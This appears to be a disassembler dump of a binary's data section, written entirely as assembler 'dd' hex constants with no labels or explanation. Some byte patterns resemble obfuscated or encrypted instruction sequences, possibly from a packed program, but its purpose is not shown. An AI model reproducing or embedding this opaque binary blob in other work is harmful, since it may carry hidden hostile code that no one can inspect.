		dd 55450000h, 840F48C3h, 3, 83DE8B66h, 121189BDh, 840F0006h
		dd 43h,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h
		dd 36C35242h, 12136F6Ah, 9E9511Ch, 49000000h, 11C6054Ah
		dd 0C730697Eh, 6CBF505Fh, 897026D6h, 0BF0F2434h, 83E381FAh
		dd 0FF5722F5h, 15BD0CB5h, 0FFF98B06h, 122AA595h, 159D8B06h
		dd 0FF061214h, 15BD0CB5h, 95FFFC06h, 6121BB1h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 9C35646h, 10E960BAh
		dd 94000000h, 0E8E277CEh, 379CACFh, 0AC0A2EB2h,	13D8496h
		dd 12117195h, 840F6106h, 3, 83D98B66h, 122A41BDh, 840F0206h
		dd 71h,	8BD88B66h, 1218A985h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 9D8B8E7Ah
		dd 6120449h, 14E8h, 21243700h, 5BBB92Ah, 84DA462Dh, 72D06081h
		dd 0E138F886h, 519D8B29h, 5F061207h, 6A0000C6h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 0D84CC350h, 0ADE38056h, 185C75Fh, 61203h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 9806C353h, 12880F15h, 60000000h, 1C0BB966h
		dd 6E8h, 0BAF70F00h, 5FC8E297h,	0F351E961h, 0C18BFFFFh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0B3C35646h
		dd 0D8F65FF8h, 0E81F813Dh, 7, 0A6122D19h, 0F176B94h, 1684h
		dd 11E900h, 68FD0000h, 0A21A5201h, 4E9BA886h, 7DE5E5DDh
		dd 5F3F45E5h, 5A5CC781h, 9D8B0000h, 61203C5h, 165C68h
		dd 9DB58900h, 5A061224h, 2121BD89h, 78B0612h, 8C0Fh, 0E8810000h
		dd 75735E0Ah, 8194CF80h, 9A8DC0h, 0CE858h, 97C40000h, 1C41A37Ch
		dd 3222778Eh, 810FE429h, 19h, 13E8h, 0DA8AB700h, 0C4B06E30h
		dd 512B1DBEh, 0EF477632h, 0D9B34A27h, 0E8815E5Eh, 0D60EA2Ah
		dd 6E8h, 5CD9A600h, 5221410Eh, 0D6B5B6BEh, 895B590Eh, 8148B707h
		dd 0D2105AEFh, 0C781F551h, 51D21056h, 1EA81h, 850F0000h
		dd 12h,	2D319D8Bh, 25E90612h, 0C4000000h, 66A965F0h, 8E957AAh
		dd 2000000h, 6B523873h,	0E9F8F265h, 0FFFFFF5Eh,	2D1380CEh
		dd 377FA474h, 0F77D1F4h, 0CE9h,	0F6FD6B00h, 2 dup(0)
		dd 5EDE900h, 0E3AE0000h, 4646DF2Ch, 0A7E37CC9h,	0D821B68h
		dd 711CB502h, 5461519Eh, 0CF1CF39Ah, 6DBA5536h,	653BCD4h
		dd 0A1EE216Dh, 177078C7h, 644DF6A0h, 0D9B77087h, 7275A336h
		dd 808FFD1Ch, 7617E015h, 0DBB34C99h, 5836FF34h,	0D3B982B7h
		dd 5D71073Ch, 0EA256984h, 838C049Dh, 20283F36h,	47DF5F67h
		dd 97CC434Bh, 8E212CC4h, 0C7FC137Dh, 18C8DFEh, 2FE0AD0Eh
		dd 0FBE78FC4h, 7E869DE6h, 47DF6009h, 0FE33DCB1h, 0F588932Bh
		dd 206DACE4h, 403784EFh, 5F662129h, 0E6EE47DFh,	47DF5FA1h
		dd 343FD7E2h, 11FE90A1h, 5FCAC4DCh, 66D247DFh, 0FEBC147Bh
		dd 646922BCh, 0BB000000h, 0BEF31C72h, 0DF5FE7A6h, 9C45B147h
		dd 15A672F3h, 7F733550h, 6DA26D1Eh, 3A9A079Ah, 0EF22BCE7h
		dd 1, 0F51A7241h, 7A95F7C0h, 0EB9CA4BBh, 9847DF5Fh, 4C15FA8Dh
		dd 17707843h, 9B47DF60h, 0BC851DF2h, 9F2299D4h,	3FAA1543h
		dd 8160740Ah, 9CE92666h, 18E8B03h, 9B06D90Eh, 0EF9E574Eh
		dd 725F8D20h, 0B435F41Bh, 8E55F6A1h, 0AE9326E6h, 1C72A7E5h
		dd 2CEBBEF3h, 0DFEC6324h, 0AA152047h, 0B75832EBh, 34535B82h
		dd 4747DFEDh, 593ED13Ch, 0EBF67Ah, 0ACC3828Dh, 0DFECE3A4h
		dd 5AB5D747h, 0B9BA5225h, 0A6CF3AD5h, 0EC676F8Fh, 3835C8CEh
		dd 0EB20EF9Fh, 72A76822h, 741BC6E2h, 22BC896Ch,	79B9h
		dd 1B720B00h, 94F6BFF4h, 9CB0467Bh, 6EE3AA45h, 1C9D0459h
		dd 4B3C44AEh, 3847DFB3h, 0A57C22Dh, 8B305A13h, 0DFB40483h
		dd 16C7747h, 0F598F9CCh, 1776871Ah, 859CC3F8h, 0DFB40A7Dh
		dd 0D6E7947h, 86598E81h, 62ADE2F3h, 475E9D2Dh, 0DFB3483Fh
		dd 9D303B47h, 0E9F99051h, 3E22BCA8h, 41h, 35A4CE4Fh, 0B02D0452h
		dd 1B72EF1Dh, 9AF6BFF4h, 0FF434075h, 898607E2h,	1A72863Ch
		dd 0D6B536F5h, 0F59F20B8h, 859D8215h, 47DFFC09h, 0D5BC2591h
		dd 22BC62FDh, 838C04BDh, 0E6E87B4Eh, 1,	0F7187238h, 7A95F9C2h
		dd 30B19D45h, 0ED3AD5B5h, 0BF503DF6h, 3A56B78Ah, 3ACDA0D5h
		dd 0B6755C65h, 0F18350AEh, 17767749h, 18838C02h, 70A510E3h
		dd 0DB28E7A7h, 0AF602BE4h, 314A77Ah, 5F28308Bh,	0F54DF18Ch
		dd 0F18C9AEDh, 46DEE94Dh, 749BD03Bh, 0B40CFBBh,	4845A538h
		dd 764DF18Dh, 0FDC6FB14h, 9F477C93h, 14A92EB3h,	0B8D611D0h
		dd 1D710A57h, 1AB233F2h, 493E468Eh, 3A4DF193h, 7E83062Fh
		dd 54BBD031h, 0D4B94C1Fh, 0F98E96ADh, 8A4DF184h, 0B3DBEC7Fh
		dd 6707579Eh, 0E2B5EA25h, 62AB52B9h, 3CE3C2F7h,	0D1060983h
		dd 0C21F6BFEh, 5BA86727h, 0AEAC6E66h, 0FA954E24h, 7A0DE015h
		dd 1BF78h, 0A5AECA00h, 474801C0h, 0EC57B8D2h, 0E251E4B7h
		dd 0F17748DAh, 38571049h, 3CCFA2D7h, 0FA8D95F4h, 894DF178h
		dd 0E9E30DC0h, 4DB866FCh, 0CD86ADE2h, 521B50BFh, 0D467D23Dh
		dd 0F744CBC3h, 0AADF305Eh, 2D62ADE1h, 0CC17CA4Eh, 0B004DC2h
		dd 24AEF38Bh, 9B60h, 525A7100h,	4DF17935h, 7AA83B46h, 0C3C9A4AEh
		dd 3E4E174Ch, 5EC99CD1h, 3B2C34F3h, 48C7DF5Fh, 0AE677E3Dh
		dd 27FA2FE0h, 0DF5F1077h, 3F6873C7h, 0C3E40512h, 795EF13Bh
		dd 1EF19952h, 415C2B8Bh, 3456C7DFh, 0B0DDA6DBh,	0C74B2A5Fh
		dd 4EC1CF1Ah, 0FD286E3h, 40CFBD76h, 8DCED8ADh, 0DF420285h
		dd 1A2281C7h, 0C7DF416Dh, 0D998030Eh, 0DF41B6D1h, 4FBAC5C7h
		dd 41DF8890h, 0D1DC47DFh, 6E768D84h, 47DF7D19h,	0BDCC5F6Ah
		dd 0E0h, 59622DE6h, 0DF7D3651h,	0CF3A4547h, 634C79Ah, 1C0A5AEh
		dd 5FA5E2EAh, 0CBD647DFh, 8DC1C938h, 0F849F181h, 9FEFB8EDh
		dd 732C2370h, 0EF98A01Bh, 8C4DF188h, 0EE11681h,	0EB246A7Bh
		dd 0B6D68FB6h, 0BE512459h, 0F1882E5Eh, 0DD32584Dh, 63ACDFA8h
		dd 479A862Eh, 7F96FD92h, 0F1891077h, 2AE5AA4Dh,	7F8A22F5h
		dd 0A9D721Eh, 0C6C823BEh, 969FFC49h, 8934535Bh,	127E4DF1h
		dd 0FE0665FDh, 4DF18889h, 1984EFFAh, 0BC2435Ah,	26C7EBFFh
		dd 0D7897F7h, 6B3E1A7Ah, 96A15007h, 0A26D1ED7h,	22079A6Dh
		dd 0A5DA3559h, 295EB1DCh, 0AADF3060h, 637869ADh, 7BAA3723h
		dd 0D028D72h, 4BCCE3A2h, 0DDD51221h, 1676D71Ah,	5EF1C4F9h
		dd 0FA5F5AFEh, 46444549h, 56C194C9h, 0F788097h,	6C4DF1E1h
		dd 1BD1CE61h, 92F5FD14h, 0F147DF5Fh, 757E53E6h,	0A3BAD190h
		dd 0DF5FEC9Bh, 0AC8FE47h, 0A1D4132Eh, 27D5FE09h, 7298CFD7h
		dd 2F29891Ch, 9249F4B7h, 810FC887h, 0B855323Ah,	1B264DF6h
		dd 15A87BB0h, 0E8276730h, 8D8C029Bh, 0A52654FDh, 0C331F1D0h
		dd 7C93F758h, 0F6995211h, 7E11E419h, 0EBD18199h, 99F34F38h
		dd 17784176h, 4AFEC3F8h, 144297h, 878806E1h, 22EDA13Ah
		dd 0A46B24EDh, 6DBC76Fh, 0F5CB3DBh, 8EF90118h, 0ED48D5C2h
		dd 0F60C0024h, 0F45F6C55h, 0D13E5061h, 14D59Ch,	143F0000h
		dd 5F92F5FDh, 0E6F147DFh, 32AEC4BDh, 0C75AF45Ah, 1F727866h
		dd 9CF2BBF0h, 1B753E73h, 95F6BFF4h, 117C457Ah, 8D00C9FEh
		dd 0B844D82h, 8406CF04h, 0FF8D568Bh, 68D4DB10h,	27CAh
		dd 50241489h, 405E089h,	2D000000h, 4, 5C240487h, 68243C89h
		dd 6DCAh, 56241C89h, 9447AFBEh,	0B9514E0Ah, 3DA859ADh
		dd 8159CE31h, 2B5EC7F6h, 5EF78931h, 241C8B54h, 5004C483h
		dd 8B8h, 57D80100h, 8B58008Fh, 8953241Ch, 4C381E3h, 83000000h
		dd 1C8704C3h, 3C8B5C24h, 0E1895124h, 4C181h, 0C1830000h
		dd 240C8704h, 3A53E95Ch, 48ACFFFBh, 0B82D50EAh,	6174631h
		dd 0E0FFC503h, 64EC6EB7h, 29B4C23Ch, 2A7D95F8h,	2812BF9Eh
		dd 7D66E3Dh, 1DB167B7h,	37BF0DF3h, 478F8D8Dh, 6A0617h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 0CBAEF4C3h, 2DCD8D89h, 0D3810612h, 5076C67Dh, 31BD85C7h
		dd 5DC40612h, 0B58B0000h, 6122919h, 1185C7h, 612h, 9D8B0000h
		dd 6120885h, 835B5FFh, 6A0612h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 7CEA7CC3h, 278195FFh
		dd 6A0612h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 0ABB93AC3h, 67D87023h, 560B38E2h,	0CE9h
		dd 0CFA2AD00h, 5026E484h, 7440AA29h, 6A5E29h, 29D195FFh
		dd 0C08B0612h, 0A8654DEBh, 3C4B1770h, 3F954C8Ch, 96DDD959h
		dd 0F41E8FEBh, 62B2C6Eh, 254E891h, 633D326Eh, 0F97FC63Bh
		dd 0E0A6E69Fh, 5277BE5Eh, 75664AE0h, 0E36325A5h, 0B3D3F837h
		dd 0A552FAF0h, 0C1A5Ch,	74CD759Eh, 6E5C3904h, 90BBAE24h
		dd 0E9DA72BCh, 19h, 0B49C23Bh, 5 dup(0)
		dd 4EAE900h, 236E0000h,	86069FECh, 0E7A33C89h, 4D42DB28h
		dd 0B1DC75C2h, 9421115Eh, 8FDC335Ah, 2D7A95F6h,	0C613FC94h
		dd 61AE612Dh, 57303887h, 244DF6A7h, 1C727147h, 98F5BEF3h
		dd 1C332A77h, 0DF5F7314h, 72051047h, 0A3EC2D61h, 3CC016Ch
		dd 864F848Bh, 3ED40906h, 622CB72Ah, 0C9C760ADh,	3060F946h
		dd 0AAE1AADFh, 9C883065h, 29E6AA45h, 3ADFB16Ah,	194EB956h
		dd 0BFB6B346h, 629E943Eh, 0FF92ED22h, 3A6FA0EEh, 0DFF26C22h
		dd 0D7385247h, 58B7D9A2h, 93F4FC23h, 0F047DFF2h, 0D50C50E5h
		dd 0C0218D10h, 7D3F46C7h, 0C5E3EFB7h, 74CDC532h, 531A22BCh
		dd 6C000000h, 0B0351C72h, 6C94629h, 40C180EBh, 0B45D6699h
		dd 886D0076h, 0DF7D1D70h, 0CE137F47h, 80A334B5h, 56705E53h
		dd 0E97E56C3h, 1AB22BCh, 0FD000000h, 0C0F51A72h, 457A95F7h
		dd 0C7FC137Ch, 0DBE3FA31h, 47DF5FACh, 0E531C4CFh, 749BF1FCh
		dd 0F008E27h, 1B720CC2h, 96F6BFF4h, 8F01BA79h, 0E5784B80h
		dd 0B9563700h, 3DD2BB84h, 1AC70B08h, 17CA4EC5h,	384F576Eh
		dd 2447DF60h, 0DF5F6B1Ch, 750D1847h, 0C7C6D76Ah, 6CD73852h
		dd 708861Fh, 3A8109D2h,	0DF5F5532h, 0BA1B2647h,	32053AD5h
		dd 0C30292C7h, 43CF242h, 497181Dh, 126229B8h, 0A722BC42h
		dd 70h,	0F41B72F9h, 241798BFh, 53343C50h, 3047E055h, 5C9DFC25h
		dd 17738417h, 192DC3F8h, 9F701DC8h, 3BD4B952h, 0BD523D06h
		dd 5DCF888h, 1A6D758Ch,	6947DF63h, 165ECB5Eh, 0A322BCFFh
		dd 5Bh,	0F41B72F5h, 7F9AF6BFh, 0E4A3AB10h, 9747DF5Fh, 0F7B6218Ch
		dd 5FAFD8E0h, 3CC47DFh,	7B24DDD2h, 6DCE393Bh, 785DF01Fh
		dd 3FAA377Bh, 0BE74C14Eh, 0DD325B14h, 0BC53394Ah, 601F6F87h
		dd 0F39D47DFh, 701EE71Ch, 0BE513E9Fh, 2DFF389h,	0F3EE5ADDh
		dd 0BCFE249Ch, 1F122h, 14430000h, 0C84744FDh, 0DF5F6F18h
		dd 0D8010C47h, 0DC7C537Ah, 3445D85Dh, 0BB84B956h, 0A7E0E8D3h
		dd 0D447DF63h, 81295EC9h, 0E9A14C95h, 63BDCAD2h, 0B3BE47DFh
		dd 959EFB48h, 380CBEF2h, 5ABB5DF9h, 0B170DB34h,	0F18755A9h
		dd 30657049h, 3BB18809h, 291CCD45h, 8FEA010Ch, 59BA25C1h
		dd 3748DB34h, 0D26BB857h, 4946FFBCh, 0EBE91C6h,	4DF1C779h
		dd 0D594FF0Ah, 0A9D721Ch, 0C7800D25h, 0C60A4DF1h, 51BED01Bh
		dd 0EC236B04h, 0B5D790B7h, 7EE92664h, 5BB4DAEBh, 89A04726h
		dd 0F1C80681h, 0D76A754Dh, 38B568Bh, 0C7D7B0B8h, 99A44DF1h
		dd 0D4B66F2Eh, 5DC84745h, 0C5C25528h, 0AE96F0D0h, 1352524h
		dd 14770000h, 1446E293h, 0A0ECDCD2h, 0FC673A6Fh, 0A68B9469h
		dd 39D766E7h, 356AA5E7h, 0DB923962h, 18208F22h,	49F1F90Ah
		dd 0ECB5EAF5h, 87206DA2h, 0AD30807h, 77568B84h,	9BF3EEF3h
		dd 52322774h, 8724AE65h, 3Dh, 5EB1DF98h, 0ED808FFDh, 0BFA4AEBFh
		dd 5F6FF800h, 0C38CC7DFh, 58380DBEh, 0BCF15C17h, 0DF1DE3A4h
		dd 0BA27DBC7h, 0B574616Bh, 497E91FCh, 6C74E376h, 47DF1DFBh
		dd 19B0FD08h, 0B3h, 0C0A5AE83h,	8155F901h, 0A5B049F1h
		dd 0C0C7CFE6h, 0C34DF188h, 774025B8h, 87880217h, 5836CF1Ch
		dd 226A82B7h, 184DF188h, 0ACE20DD4h, 858DA463h,	4DF18902h
		dd 75157681h, 0AD0A079Ah, 0AFF7FFA4h, 535361FFh, 0FB1229E8h
		dd 0F25994F3h, 0D81EE74Dh, 5B071ECCh, 201942ADh, 0CEF4D6CBh
		dd 9CCD2DC0h, 0AB50071Ch, 0ECA26BA0h, 0E0AB6423h, 0C627FA2Fh
		dd 411449C6h, 8D00C9AEh, 0B844D82h, 560ACF04h, 716568Bh
		dd 9DD23D4Eh, 0F6EB37CAh, 78371E27h, 0F9D9F970h, 0C0C8DF49h
		dd 4DF1D4C7h, 0CE16A9B4h, 0D520676Fh, 58634DF1h, 0D4F69199h
		dd 7A854DF1h, 0AE0CC20Fh, 0F901C0A5h, 49F4A770h, 0F008E8Fh
		dd 679C07DAh, 0D21FF09Eh, 85BA5539h, 0D534166Dh, 2EB3C738h
		dd 0E734DBB3h, 737B404Eh, 53292814h, 0BCF15C67h, 3E739CF3h
		dd 8D001975h, 19E21782h, 29E6A475h, 81B621F4h, 0EFF4EDD9h
		dd 0C31EC3AFh, 9FE8F0CBh, 0DC532927h, 801966D1h, 0A5CC010Eh
		dd 0DC6FA0ECh, 3CDh, 34223700h,	0BBF01F72h, 3E739CF2h
		dd 0BFF41B75h, 457A95F6h, 0C9FE117Ch, 4D828D00h, 0CF040B84h
		dd 568B8406h, 0DB10FF8Dh, 4EC83D4h, 57240C89h, 0C781E789h
		dd 4, 4EF81h, 3C870000h, 14895C24h, 4EC8124h, 89000000h
		dd 0BB53240Ch, 6174804h, 89DD8955h, 545B5DEAh, 81240C8Bh
		dd 4C4h, 81525500h, 5E54242Ch, 815D02AFh, 0AF5E54C5h, 8698902h
		dd 2434FF5Dh, 4C48359h,	5A2434FFh, 0E904C483h, 0FFFB3415h
		dd 0C5CA93B9h, 174C87B8h, 0FFC50306h, 7E7BFAE0h, 0C4DAA2Ch
		dd 0E804F31Ch, 2E241653h, 0DAD8632Bh, 22088A40h, 7F891E42h
		dd 4D5A8916h, 75F1C53Ah, 0A4B5DD6Ch, 9DA6A64h, 57F3C461h
		dd 0E12D285Fh, 0C6D66778h, 0E27C726Fh, 0DF8D8D49h, 6A06174Dh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 1ABEC356h, 266DB523h, 8D310612h, 6121CF1h
		dd 2DCD8D89h, 14E80612h, 47000000h, 5409D14Eh, 77FDA53Dh
		dd 4E005C4Bh, 2F018F74h, 668889ABh, 3311CE81h, 0BD85C75Ah
		dd 0E8061231h, 8B000069h, 1185C7D0h, 61200h, 0BE000000h
		dd 2A107E09h, 29B1B5FFh, 0DF8B0612h, 278195FFh,	7E80612h
		dd 0CD000000h, 0C4A1D45Bh, 8589A059h, 6122DE5h,	10E95Ah
		dd 23D0000h, 69BD7EFDh,	605027B5h, 27E5A789h, 6A9DC0h
		dd 29D195FFh, 0C08B0612h, 0D8AB4AEBh, 3E7E0C58h, 0ACCBB840h
		dd 48F295E1h, 0E8F01160h, 855EA9CDh, 0A877E4C3h, 0D1B34292h
		dd 2F2E9134h, 0EDEFCDFEh, 0DD0EC022h, 0B94FAB25h, 40C05436h
		dd 8923D22Ah, 0B0236B10h, 0AC643C63h, 7A57F1A8h, 27E02590h
		dd 38E79715h, 7E8h, 0BB2B6F00h,	2194847Fh, 5E9h, 727A2900h
		dd 815E9278h, 6543C6h, 51B58900h, 0BB061214h, 1924h, 3E8BC18Bh
		dd 0AE1EF781h, 0BF0F315Bh, 7AEF81C6h, 604EB5A9h, 7E9h
		dd 0C5BB7900h, 0B46C8967h, 8E9h, 6A789A00h, 0B2F5DA11h
		dd 0F7816140h, 583FE681h, 0AE9h, 0B3F6B800h, 8E6F2FC5h
		dd 571BD380h, 1A840Fh, 11E80000h, 0C9000000h, 0BA73C413h
		dd 73B021Bh, 3F83F5B5h,	125BE367h, 58D7C180h, 81F9068Fh
		dd 0AEB122EEh, 0F5952319h, 81061207h, 0AEB11EC6h, 38B0F19h
		dd 80000000h, 0EB81BFF5h, 1, 0FF74850Fh, 0B589FFFFh, 612283Dh
		dd 0FCB9996Ch, 0E822001Fh, 124120Ah, 39CD367Eh,	0B3C4F838h
		dd 0D9A8747Dh, 0E972125Ah, 124121Bh, 5FE74C2Ch,	500668Fh
		dd 5005682h, 1241295h, 0D1E74486h, 3209A7EBh, 872B1422h
		dd 1241218h, 852B16A4h,	12410AAh, 9298F8Ah, 0BCA71493h
		dd 73633A5h, 6CA01D60h,	6B241230h, 2CC4118h, 2124120Ch
		dd 887FD15Dh, 8020365Fh, 1B2036C5h, 422412C0h, 0B33FD133h
		dd 3A8587C6h, 0ACC72A4h, 0A724120Ch, 0BAFFE986h, 7D875B4Ch
		dd 8CADFA8Eh, 7363359h,	3A01D3Fh, 52241230h, 50CD7342h
		dd 6B24120Eh, 2CC4706h,	21241203h, 8879D1DCh, 802036ACh
		dd 15203624h, 44241230h, 0FDA7D14Dh, 3092E58Dh,	6C961806h
		dd 0E764293h, 517C48B0h, 1241E29h, 25646860h, 0B7E578B8h
		dd 62EDBE6Bh, 14E826Bh,	127FA53h, 5C041203h, 6DAD4F42h
		dd 45A516E4h, 1331644h,	54611230h, 0A23B61DBh, 0ECC44F6h
		dd 93241206h, 0A21CD88Fh, 7F94FA5Ch, 1A8C23Ah
		dd 8CCB57Eh, 23241230h,	32D45009h, 86976AC5h, 8A7A4C58h
		dd 13146B9Eh, 4D251D87h, 8042ECE4h, 59047597h, 122993Fh
		dd 0E2A51218h, 2E9653D8h, 6B08D285h, 2CC4103h, 21241281h
		dd 887FD19Bh, 8020363Ch, 1C203674h, 42241218h, 0B3C8D15Fh
		dd 0D92262B7h, 1B38DFAEh, 1241C68h, 75B9D4C0h, 751E9AB4h
		dd 92FB4F6Bh, 8AB05DC8h, 1E0BAD04h, 8A421B91h, 9CAFEE4Bh
		dd 73611D0h, 371D93A6h,	0F3A01D9Fh, 82241230h, 6CC1BD9h
		dd 0A124120Ch, 1F9FCE64h, 0BC0D2E4Bh, 7363FECh,	0E81D929Fh
		dd 1E976Fh, 14E1230h, 127FA4Dh,	5C04120Ch, 6DAD4FC5h, 45A51627h
		dd 13C16A5h, 546112C0h,	0B3763BA3h, 0DAA59697h,	0D53134Eh
		dd 6B255387h, 2CC4506h,	21241203h, 887BD1DEh, 802036BCh
		dd 1C203624h, 46241230h, 0BB2DD14Fh, 958B5FA5h,	2CD145E4h
		dd 244D8F8Ah, 0B40D1493h, 7362229h, 14EDA63h, 127FA67h
		dd 5E041218h, 7DAD4DCFh, 45A51622h, 13F1627h, 56631281h
		dd 141D2D03h, 14AFA4C9h, 7AC1D63h, 88241218h, 133D6BB1h
		dd 4E59100h, 0E9751269h, 1241282h, 58E74BE0h, 5005EE9h
		dd 50056B1h, 1241203h, 0FBE7434Dh, 0D0CFA29Dh, 30B92FBFh
		dd 13019F34h, 98B113C6h, 80220049h, 426F8209h, 70A11D93h
		dd 6124120Ch, 852BE28Dh, 1241203h, 4AA99FE0h, 0B722008Eh
		dd 34919B3Bh, 0B922001Ah, 124121Bh, 0E9771266h,	1241205h
		dd 5AE74923h, 5004E08h,	5005641h, 1241279h, 4DE74173h
		dd 0B36A044Ch, 7AC1D87h, 88241206h, 132797B6h, 6BC5ED87h
		dd 2CC41C0h, 21241260h,	887FD16Bh, 80203644h, 1C203648h
		dd 42241206h, 0FC57D150h, 453699A4h, 43DF26h, 0CD9E7401h
		dd 0B7B4A854h, 0BCA95288h, 7335CE6h, 53209F8Bh,	759C1414h
		dd 32258002h, 13275F45h, 0C0EB3966h, 0FCB9996Ch, 0E822001Fh
		dd 124120Ah, 39CD367Eh,	0B3C4F838h, 0D9A8747Dh,	0E983125Ah
		dd 8BA4F305h, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 0F3816646h, 6AAEA7h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 6DF2AC3h
		dd 8BADB3DDh, 0D8DBC7C3h, 0D8B23B63h, 8291E931h, 8C38AEF2h
		dd 9C307E15h, 0D8AB3915h, 8AF39E31h, 8EF897F2h,	96840FE1h
		dd 630B6A57h, 658E5657h, 0D8DB34BAh, 0D8B29260h, 81913D31h
		dd 9438C7F2h, 9C304B15h, 0D8A7A315h, 89F0D331h,	0D39961F2h
		dd 103A1284h, 0D8B7FD3Eh, 553A3D31h, 0DEA38578h, 0F7B0F2B2h
		dd 0ADB1A123h, 910C5038h, 0D8B7FB10h, 8BE1ED45h, 0DB09BABAh
		dd 51B13D35h, 0CABAABB4h, 0D12CC237h, 27B7B39Ch, 5BE988E2h
		dd 0CA90A08Ch, 0CFC5F437h, 0DB092961h, 51B13D35h, 0CABAABB4h
		dd 202CC237h, 27B7B398h, 0B2E988E2h, 0DB59BE31h, 0F8B1F431h
		dd 51EEB96Eh, 59B5194Dh, 0C1B5BA75h, 9FB14F31h,	9AA66466h
		dd 35377277h, 51A302B1h, 0CA8035B4h, 6171F137h,	963B91C4h
		dd 2E30F851h, 45925843h, 0DEA3811Ch, 3DB550h, 30E0E95Bh
		dd 0D8B1F432h, 81722311h, 0DC9571B8h, 0DC95DAB0h, 0D8B14F28h
		dd 0B972F670h, 0CA6193D7h, 0D8BE001Ah, 0FF28F431h, 6B441F75h
		dd 43746A43h, 0DCB8BF84h, 0D7B5E78Dh, 0D8B25BB5h, 8AB1B931h
		dd 0D8B1EAD9h, 1BEBD431h, 0FCE5F36Bh, 0FCF5BC35h, 0D8B18335h
		dd 1BE30D31h, 0AB17ACB9h, 0C5BFD32Dh, 453A6FCAh, 0DEA3D054h
		dd 0F9D4C7B2h, 0D7B13B23h, 0D8B1ABB5h, 0D3E22F31h, 0CAA202A4h
		dd 233A8A37h, 0DB020050h, 0D8DBF431h, 0D8B29260h, 81913D31h
		dd 9438C7F2h, 9C304B15h, 0D8A7A315h, 89F0D331h,	0D2C84AF2h
		dd 44B516B0h, 0D80F4D08h, 0BEB33D16h, 5D3C66BAh, 0DEA4399Fh
		dd 30E0A75Bh, 0D8B1D332h, 8172B011h, 0DC95B8B8h, 0DC953EB0h
		dd 0D8B13D28h, 7072CF70h, 7ADDA077h, 0ED2C2C69h, 58B7C132h
		dd 84E77F6h, 5CBE34B4h,	0D8B17AD1h, 1C56BC57h, 0DE3A91B1h
		dd 53B14F31h, 0CA917ABCh, 8F895237h, 0D74A6857h, 0D8B1CFB4h
		dd 8FB11031h, 0D8B13ED9h, 1BEEBE31h, 0FCCDC66Eh, 0FCF52635h
		dd 0D8B1CF35h, 1BE6AE31h, 6445C05Fh, 0B05AE347h, 0BD34145Eh
		dd 0BEB78C16h, 0DAB537B0h, 0E935A833h, 61B1D332h, 0DD2200AFh
		dd 44897557h, 0A5347551h, 0F1B13D31h, 0CAB143BCh, 587EC537h
		dd 0D759A549h, 0D8B1B8B4h, 8BB18331h, 0D8B1F7D9h, 1BEA5A31h
		dd 0FCEDB46Ah, 0FCF51F35h, 0D8B15A35h, 1BE2E431h, 45BA82C4h
		dd 0DEA3C508h, 0C3C479B8h, 59D77C23h, 73B13B49h, 0D8871B3Eh
		dd 0D8DB4F31h, 0D8B24F64h, 8591D331h, 0B438B4F2h, 9C30F015h
		dd 0D8AA7E15h, 8DF43D31h, 0E77D9AF2h, 0C3E7CD07h, 0B0AC10Fh
		dd 0C53CFA54h, 2DB7FB22h, 0D8B353D8h, 0CC76FA31h, 0D9B03D8Fh
		dd 8BB1F477h, 0D8B14CD9h, 1BEA8731h, 0FCED5A6Ah, 0FCF56835h
		dd 0D8B1E835h, 1BE23931h, 732C9A40h, 0F33812D6h, 33029BCh
		dd 5D3C1C83h, 0DEA4A59Fh, 516116CDh, 0CAB3658Ch, 0D771FF37h
		dd 0D8B315B5h, 8EB1F431h, 0D8B14CD9h, 1BEF8731h, 0FCC55A6Fh
		dd 0FCF56835h, 0D8B1EE35h, 1BE73C31h, 4FC73FBDh, 51D67F7Fh
		dd 0CAA602BCh, 0BE892637h, 0D7B3D10Ch, 0D8B1A1B4h, 8EB19E31h
		dd 0D8B179D9h, 1BEF1D31h, 0FCC5176Fh, 0FCF5CE35h, 0D8B1B135h
		dd 1BE79531h, 6299E24Bh, 0DBDD66CDh, 0D8B17DD8h, 0A0C53C31h
		dd 3DEC2785h, 0BEB737B0h, 0D7CBF80Ch, 0D8B03CB5h, 510CCA31h
		dd 53B7E619h, 0CAB15BACh, 0E0305B37h, 5DBEFEADh, 0D8B14F5Ch
		dd 0FA6032B8h, 2407D523h, 30B391B1h, 0D8EA713Eh, 0D8DB7A31h
		dd 0D8B2D566h, 87919E31h, 0A43810F2h, 9C30A315h, 0D8ACD715h
		dd 8FF6E931h, 0FD218EF2h, 4FA45DD1h, 0BEE705D6h, 0D8B7E6B0h
		dd 0F23440F1h, 0B2B1A731h, 0DB598131h, 0F8B1E931h, 51EB376Bh
		dd 59B55E65h, 0C2B51975h, 9AB19E31h, 0D11B8C63h, 239391AEh
		dd 23AB50Ch, 0D8B082D8h, 0D9B14A31h, 6FBE0430h,	7634B0F9h
		dd 53B78B47h, 0CA961ABCh, 58615837h, 1834FDC7h,	0D9A26D3Eh
		dd 0D8DBF431h, 0D8B29260h, 81913D31h, 9438C7F2h, 9C304B15h
		dd 0D8AAA315h, 89F0D331h, 509D6CF2h, 4A106E33h,	3089FA70h
		dd 0D8ECB83Eh, 0D8DB9E31h, 0D8B2A763h, 8291A731h, 8C3889F2h
		dd 9C30ED15h, 0D8A9F015h, 8AF37A31h, 3144C6F2h,	51E2897Eh
		dd 0CA96DA8Ch, 4D3AFC37h, 0DEA3CBACh, 0F84054BAh, 0A031F223h
		dd 5DBE0934h, 0D8B13D2Eh, 0D41C13BAh, 0A0314923h, 5CBEF436h
		dd 0D8B1D3E1h, 0D8B1E3D8h, 812D1531h, 2189DAF9h, 0BE935303h
		dd 0DD3EA6B0h, 0D8CECA3Eh, 6D38A731h, 0DEA3F4F4h, 0D8B1E2D8h
